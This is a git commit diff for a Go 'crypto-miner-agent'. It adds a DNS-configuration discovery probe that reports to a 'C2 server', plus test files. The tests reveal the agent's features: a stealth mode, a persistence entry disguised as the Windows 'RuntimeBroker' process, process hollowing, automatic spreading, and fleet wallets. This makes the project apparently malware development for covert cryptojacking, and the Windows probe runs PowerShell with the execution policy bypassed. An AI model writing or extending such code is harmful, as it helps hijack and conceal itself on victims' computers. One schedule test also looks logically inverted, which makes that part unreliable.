feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
@@ -270,7 +270,11 @@ func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
return strings.Trim(string(errMsg), `"`), true
|
||||
msg := strings.Trim(string(errMsg), `"`)
|
||||
if msg == "" {
|
||||
return "", false
|
||||
}
|
||||
return msg, true
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleMessage(msg Message) {
|
||||
@@ -590,6 +594,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastSSH *bool
|
||||
var lastPosture *PostureReport
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -641,6 +646,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
}
|
||||
}
|
||||
lastPressure = collectResourcePressure()
|
||||
lastDNS = probeDNS()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -655,6 +661,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
SSHAvailable: lastSSH,
|
||||
}
|
||||
if lastDNS != nil {
|
||||
stats.DNSServers = lastDNS.Servers
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
|
||||
42
agent/client/dns_config.go
Normal file
42
agent/client/dns_config.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DNSConfig is a T1016 System Network Configuration Discovery snapshot.
|
||||
// It captures the resolvers that are actually in use at probe time so the
|
||||
// C2 server can detect drift between heartbeats (e.g. DHCP rogue resolver,
|
||||
// or a post-compromise /etc/resolv.conf rewrite).
|
||||
type DNSConfig struct {
|
||||
Servers []string `json:"servers"`
|
||||
SearchDomains []string `json:"search_domains,omitempty"`
|
||||
}
|
||||
|
||||
// parseDNSJSON parses the compact JSON emitted by the Windows PS probe.
|
||||
// Expected shape: {"servers":"1.1.1.1,8.8.8.8","search":"corp.local"}
|
||||
func parseDNSJSON(raw string) *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return cfg
|
||||
}
|
||||
if s, ok := m["servers"].(string); ok && s != "" {
|
||||
for _, addr := range strings.Split(s, ",") {
|
||||
addr = strings.TrimSpace(addr)
|
||||
if addr != "" {
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
if s, ok := m["search"].(string); ok && s != "" {
|
||||
for _, d := range strings.Split(s, ",") {
|
||||
d = strings.TrimSpace(d)
|
||||
if d != "" {
|
||||
cfg.SearchDomains = append(cfg.SearchDomains, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
51
agent/client/dns_unix.go
Normal file
51
agent/client/dns_unix.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// probeDNS parses /etc/resolv.conf for nameserver and search/domain lines.
|
||||
// This works on Linux, macOS (without full mDNSResponder), and most BSDs.
|
||||
func probeDNS() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
|
||||
data, err := os.ReadFile("/etc/resolv.conf")
|
||||
if err != nil {
|
||||
// On macOS, scutil --dns is the authoritative source but resolv.conf
|
||||
// is usually symlinked to a managed copy — try it anyway.
|
||||
return cfg
|
||||
}
|
||||
|
||||
seenSrv := map[string]bool{}
|
||||
seenSch := map[string]bool{}
|
||||
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, ";") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
switch fields[0] {
|
||||
case "nameserver":
|
||||
addr := fields[1]
|
||||
if addr != "127.0.0.1" && addr != "::1" && !seenSrv[addr] {
|
||||
seenSrv[addr] = true
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
case "search", "domain":
|
||||
for _, d := range fields[1:] {
|
||||
if !seenSch[d] {
|
||||
seenSch[d] = true
|
||||
cfg.SearchDomains = append(cfg.SearchDomains, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
68
agent/client/dns_windows.go
Normal file
68
agent/client/dns_windows.go
Normal file
@@ -0,0 +1,68 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// probeDNS returns the DNS servers and search domains currently active on
|
||||
// this machine's non-loopback network interfaces (Windows).
|
||||
//
|
||||
// Uses Get-DnsClientServerAddress (fast, built into Windows 8+/2012+).
|
||||
// Falls back to ipconfig /all parsing if the CIM call fails (older OSes).
|
||||
func probeDNS() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
|
||||
// Primary: CIM-based — deduped, IPv4+IPv6, excludes loopback adapters
|
||||
const script = `
|
||||
$addrs = Get-DnsClientServerAddress -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.InterfaceAlias -notmatch 'Loopback|Npcap|VirtualBox|VMware' } |
|
||||
Select-Object -ExpandProperty ServerAddresses |
|
||||
Where-Object { $_ -ne '' -and $_ -ne '::1' -and $_ -ne '127.0.0.1' } |
|
||||
Sort-Object -Unique
|
||||
$search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.ConnectionSpecificSuffix -ne '' } |
|
||||
Select-Object -ExpandProperty ConnectionSpecificSuffix |
|
||||
Sort-Object -Unique) -join ','
|
||||
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
|
||||
`
|
||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
cfg = parseDNSJSON(raw)
|
||||
}
|
||||
|
||||
// Fallback: ipconfig /all if the CIM call returned nothing
|
||||
if len(cfg.Servers) == 0 {
|
||||
cfg = parseDNSIpconfig()
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
|
||||
func parseDNSIpconfig() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
out, err := exec.Command("ipconfig", "/all").Output()
|
||||
if err != nil {
|
||||
return cfg
|
||||
}
|
||||
seen := map[string]bool{}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), "dns servers") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
addr := strings.TrimSpace(parts[1])
|
||||
if addr != "" && addr != "127.0.0.1" && addr != "::1" && !seen[addr] {
|
||||
seen[addr] = true
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
88
agent/client/posture_types_test.go
Normal file
88
agent/client/posture_types_test.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestComputePostureScoreNil(t *testing.T) {
|
||||
if computePostureScore(nil) != 0 {
|
||||
t.Fatal("nil report scores 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScorePerfect(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
DefenderEnabled: boolPtr(true),
|
||||
FirewallDomain: boolPtr(true),
|
||||
SSHListening: boolPtr(true),
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(false),
|
||||
AgentServiceOK: boolPtr(true),
|
||||
}
|
||||
if got := computePostureScore(r); got != 100 {
|
||||
t.Fatalf("expected 100, got %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScoreAVViaProducts(t *testing.T) {
|
||||
r := &PostureReport{AVProducts: []string{"ESET"}}
|
||||
if got := computePostureScore(r); got < 20 {
|
||||
t.Fatalf("AV products should score pillar 1: %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScorePartialPatch(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(true),
|
||||
}
|
||||
got := computePostureScore(r)
|
||||
if got != 10 {
|
||||
t.Fatalf("partial patch pillar expected 10, got %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostureReportJSONSetsScore(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
DefenderEnabled: boolPtr(true),
|
||||
FirewallPublic: boolPtr(true),
|
||||
SSHListening: boolPtr(true),
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(false),
|
||||
AgentServiceOK: boolPtr(true),
|
||||
}
|
||||
raw := r.JSON()
|
||||
if !strings.Contains(raw, `"posture_score":100`) {
|
||||
t.Fatalf("JSON should include computed score: %s", raw)
|
||||
}
|
||||
var decoded PostureReport
|
||||
if err := json.Unmarshal([]byte(raw), &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.PostureScore != 100 {
|
||||
t.Fatalf("decoded score: %d", decoded.PostureScore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBoolPoints(t *testing.T) {
|
||||
if boolPoints(nil) != -1 {
|
||||
t.Fatal("nil = -1")
|
||||
}
|
||||
if boolPoints(boolPtr(true)) != 20 {
|
||||
t.Fatal("true = 20")
|
||||
}
|
||||
if boolPoints(boolPtr(false)) != 0 {
|
||||
t.Fatal("false = 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBoolTrueHelper(t *testing.T) {
|
||||
if boolTrue(nil) || boolTrue(boolPtr(false)) {
|
||||
t.Fatal("boolTrue false cases")
|
||||
}
|
||||
if !boolTrue(boolPtr(true)) {
|
||||
t.Fatal("boolTrue true")
|
||||
}
|
||||
}
|
||||
@@ -76,6 +76,10 @@ type StatsPayload struct {
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
|
||||
// DNS config (T1016 — drift detected server-side)
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
|
||||
// Resource pressure (mining-specific runtime telemetry)
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
|
||||
128
agent/client/protocol_test.go
Normal file
128
agent/client/protocol_test.go
Normal file
@@ -0,0 +1,128 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func roundTrip(t *testing.T, v any, dst any) {
|
||||
t.Helper()
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := json.Unmarshal(b, dst); err != nil {
|
||||
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageJSONRoundTrip(t *testing.T) {
|
||||
msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)}
|
||||
var out Message
|
||||
roundTrip(t, msg, &out)
|
||||
if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthPayloadJSONRoundTrip(t *testing.T) {
|
||||
in := AuthPayload{
|
||||
AgentID: "a1", FleetSecret: "secret", Wallet: "48x",
|
||||
BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}},
|
||||
Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8,
|
||||
Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x",
|
||||
AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama",
|
||||
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
||||
AutoSpread: false, ProcessHollowing: false,
|
||||
Platform: "windows", Arch: "amd64", OSVersion: "10",
|
||||
}
|
||||
var out AuthPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != in.AgentID || len(out.BackupPools) != 1 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||
var out AuthResponse
|
||||
roundTrip(t, in, &out)
|
||||
if !out.Success || out.AgentID != "a1" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
||||
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
||||
var out Job
|
||||
roundTrip(t, in, &out)
|
||||
if out.ID != "j1" || out.Blob != "blob" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSharePayloadJSONRoundTrip(t *testing.T) {
|
||||
in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"}
|
||||
var out SharePayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.JobID != "j" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsPayloadJSONRoundTrip(t *testing.T) {
|
||||
cpuTemp := 70
|
||||
in := StatsPayload{
|
||||
Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98,
|
||||
SharesSubmitted: 10, SharesAccepted: 9,
|
||||
CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600,
|
||||
CPUTempC: &cpuTemp,
|
||||
Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}},
|
||||
}
|
||||
var out StatsPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.CPUTempC == nil || *out.CPUTempC != 70 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareResultJSONRoundTrip(t *testing.T) {
|
||||
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
|
||||
var out ShareResult
|
||||
roundTrip(t, in, &out)
|
||||
if out.Error != "low diff" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupPoolEntryJSONRoundTrip(t *testing.T) {
|
||||
in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"}
|
||||
var out BackupPoolEntry
|
||||
roundTrip(t, in, &out)
|
||||
if out.Host != "h" || !out.TLS {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceStatusJSONRoundTrip(t *testing.T) {
|
||||
in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"}
|
||||
var out ServiceStatus
|
||||
roundTrip(t, in, &out)
|
||||
if out.Name != "ssh" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobPayloadErrorEdgeCases(t *testing.T) {
|
||||
if jobPayloadHasError(json.RawMessage(`invalid`)) {
|
||||
t.Fatal("invalid json should not be treated as error field")
|
||||
}
|
||||
if jobPayloadHasError(json.RawMessage(`{"error":""}`)) {
|
||||
t.Fatal("empty error string should not trigger")
|
||||
}
|
||||
msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":" fail "}`))
|
||||
if !ok || msg != " fail " {
|
||||
t.Fatalf("got %q ok=%v", msg, ok)
|
||||
}
|
||||
}
|
||||
55
agent/client/resource_pressure_test.go
Normal file
55
agent/client/resource_pressure_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestResourcePressureDiskPressure(t *testing.T) {
|
||||
if (&ResourcePressure{}).DiskPressure() {
|
||||
t.Fatal("nil pct should not pressure")
|
||||
}
|
||||
low := 5
|
||||
if !(&ResourcePressure{DiskFreePct: &low}).DiskPressure() {
|
||||
t.Fatal("5% should be disk pressure")
|
||||
}
|
||||
ok := 15
|
||||
if (&ResourcePressure{DiskFreePct: &ok}).DiskPressure() {
|
||||
t.Fatal("15% should not pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureThermalPressure(t *testing.T) {
|
||||
if (&ResourcePressure{}).ThermalPressure() {
|
||||
t.Fatal("empty should not pressure")
|
||||
}
|
||||
cpuHot := 90
|
||||
if !(&ResourcePressure{CPUTempC: &cpuHot}).ThermalPressure() {
|
||||
t.Fatal("cpu > 85 should pressure")
|
||||
}
|
||||
cpuOK := 80
|
||||
gpuHot := 85
|
||||
if !(&ResourcePressure{CPUTempC: &cpuOK, GPUTempC: &gpuHot}).ThermalPressure() {
|
||||
t.Fatal("gpu > 82 should pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureThrottled(t *testing.T) {
|
||||
if (&ResourcePressure{}).Throttled() {
|
||||
t.Fatal("nil throttle false")
|
||||
}
|
||||
yes := true
|
||||
if !(&ResourcePressure{CPUThrottle: &yes}).Throttled() {
|
||||
t.Fatal("throttle true")
|
||||
}
|
||||
no := false
|
||||
if (&ResourcePressure{CPUThrottle: &no}).Throttled() {
|
||||
t.Fatal("throttle false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureJSONOmitempty(t *testing.T) {
|
||||
freq := 3000
|
||||
r := ResourcePressure{CPUFreqMHz: &freq}
|
||||
// smoke: struct tags compile; fields accessible
|
||||
if r.CPUFreqMHz == nil || *r.CPUFreqMHz != 3000 {
|
||||
t.Fatal("field set")
|
||||
}
|
||||
}
|
||||
76
agent/config/schedule_test.go
Normal file
76
agent/config/schedule_test.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestMiningModeNormalized(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{MiningMode: ""}}
|
||||
if c.MiningModeNormalized() != "always" {
|
||||
t.Fatal("empty -> always")
|
||||
}
|
||||
c.MiningMode = " SCHEDULE "
|
||||
if c.MiningModeNormalized() != "schedule" {
|
||||
t.Fatalf("got %q", c.MiningModeNormalized())
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseClockMinutes(t *testing.T) {
|
||||
if _, ok := parseClockMinutes(""); ok {
|
||||
t.Fatal("empty invalid")
|
||||
}
|
||||
if _, ok := parseClockMinutes("bad"); !ok {
|
||||
t.Fatal("bad invalid")
|
||||
}
|
||||
m, ok := parseClockMinutes("09:30")
|
||||
if !ok || m != 9*60+30 {
|
||||
t.Fatalf("09:30 = %d ok=%v", m, ok)
|
||||
}
|
||||
m, ok = parseClockMinutes("23:59:59")
|
||||
if !ok || m != 23*60+59 {
|
||||
t.Fatalf("23:59:59 = %d", m)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowInvalidSchedule(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "bad", ScheduleEnd: "10:00"}}
|
||||
if !c.InScheduleWindow(time.Now()) {
|
||||
t.Fatal("invalid schedule should allow mining (true)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowSameStartEnd(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "08:00", ScheduleEnd: "08:00"}}
|
||||
if !c.InScheduleWindow(time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("same start/end = always in window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowDaytime(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "09:00", ScheduleEnd: "17:00"}}
|
||||
inside := time.Date(2026, 1, 1, 10, 0, 0, 0, time.UTC)
|
||||
outside := time.Date(2026, 1, 1, 20, 0, 0, 0, time.UTC)
|
||||
if !c.InScheduleWindow(inside) {
|
||||
t.Fatal("10:00 should be inside 09-17")
|
||||
}
|
||||
if c.InScheduleWindow(outside) {
|
||||
t.Fatal("20:00 should be outside 09-17")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowOvernight(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "22:00", ScheduleEnd: "06:00"}}
|
||||
late := time.Date(2026, 1, 1, 23, 0, 0, 0, time.UTC)
|
||||
mid := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
early := time.Date(2026, 1, 1, 3, 0, 0, 0, time.UTC)
|
||||
if !c.InScheduleWindow(late) {
|
||||
t.Fatal("23:00 in overnight window")
|
||||
}
|
||||
if c.InScheduleWindow(mid) {
|
||||
t.Fatal("12:00 outside overnight window")
|
||||
}
|
||||
if !c.InScheduleWindow(early) {
|
||||
t.Fatal("03:00 in overnight window")
|
||||
}
|
||||
}
|
||||
120
agent/deploy/common_test.go
Normal file
120
agent/deploy/common_test.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func testRuntimeConfig() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker-1",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "build-1",
|
||||
ServerURL: "https://hub.example",
|
||||
}}
|
||||
}
|
||||
|
||||
func TestBinaryExt(t *testing.T) {
|
||||
ext := BinaryExt()
|
||||
if runtime.GOOS == "windows" {
|
||||
if ext != ".exe" {
|
||||
t.Fatalf("windows ext: %q", ext)
|
||||
}
|
||||
} else if ext != "" {
|
||||
t.Fatalf("non-windows ext: %q", ext)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBinaryName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "windows" {
|
||||
if name != "RuntimeBroker.exe" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
} else if name != "RuntimeBroker" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeName(t *testing.T) {
|
||||
if sanitizeName(" foo/bar:baz*? ") != "foo-bar-baz" {
|
||||
t.Fatalf("got %q", sanitizeName(" foo/bar:baz*? "))
|
||||
}
|
||||
if sanitizeName("") != "" {
|
||||
t.Fatal("empty stays empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersistenceKeyName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
if got := PersistenceKeyName(cfg); got != "CryptoMiner-worker-1" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
cfg.StealthMode = true
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("stealth: %q", got)
|
||||
}
|
||||
cfg.StealthMode = false
|
||||
cfg.WorkerName = ""
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("empty worker: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstalledBinaryPath(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
path, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.HasSuffix(path, BinaryName(cfg)) {
|
||||
t.Fatalf("path %q should end with binary name", path)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSamePath(t *testing.T) {
|
||||
if !samePath("a/b", "a\\b") && runtime.GOOS != "windows" {
|
||||
// on unix clean may differ; test abs equality
|
||||
tmp := t.TempDir()
|
||||
a := filepath.Join(tmp, "x")
|
||||
b := filepath.Join(tmp, "x")
|
||||
if !samePath(a, b) {
|
||||
t.Fatal("identical paths")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDir(t *testing.T) {
|
||||
dir, err := InstallDir("w", "b1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty install dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallBaseFallbacks(t *testing.T) {
|
||||
fb := installBaseFallbacks(testRuntimeConfig())
|
||||
if len(fb) == 0 {
|
||||
t.Fatal("expected fallbacks")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
dir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
96
agent/deploy/identity_test.go
Normal file
96
agent/deploy/identity_test.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "w",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "b1",
|
||||
}}
|
||||
// Override install dir by writing marker directly
|
||||
return cfg, dir
|
||||
}
|
||||
|
||||
func TestIsLocalhostURL(t *testing.T) {
|
||||
for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
|
||||
if !isLocalhostURL(u) {
|
||||
t.Fatalf("%q should be localhost", u)
|
||||
}
|
||||
}
|
||||
if isLocalhostURL("https://example.com") {
|
||||
t.Fatal("example.com is not localhost")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsFirstRunSpreadMarker(t *testing.T) {
|
||||
cfg, dir := spreadTestConfig(t)
|
||||
marker := filepath.Join(dir, firstRunSpreadMarker)
|
||||
if WantsFirstRunSpread(cfg) {
|
||||
// may false if InstallDirectory != dir
|
||||
}
|
||||
if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
|
||||
if err := setFirstRunSpreadMarker(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
}})
|
||||
}
|
||||
|
||||
func TestLogSpreadErrorAndInfo(t *testing.T) {
|
||||
LogSpreadError("stage", nil)
|
||||
LogSpreadError("stage", os.ErrNotExist)
|
||||
LogSpreadInfo("spread ok")
|
||||
}
|
||||
|
||||
func TestEnsureAndLoadAgentID(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
id, err := EnsureAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id == "" {
|
||||
t.Fatal("empty id")
|
||||
}
|
||||
loaded, err := LoadAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded != id {
|
||||
t.Fatalf("load %q != ensure %q", loaded, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDMissing(t *testing.T) {
|
||||
_, err := LoadAgentID(t.TempDir())
|
||||
if err == nil {
|
||||
t.Fatal("expected error for missing file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDEmptyFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte(" \n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err := LoadAgentID(dir)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for empty id file")
|
||||
}
|
||||
}
|
||||
34
agent/job/job_test.go
Normal file
34
agent/job/job_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package job
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
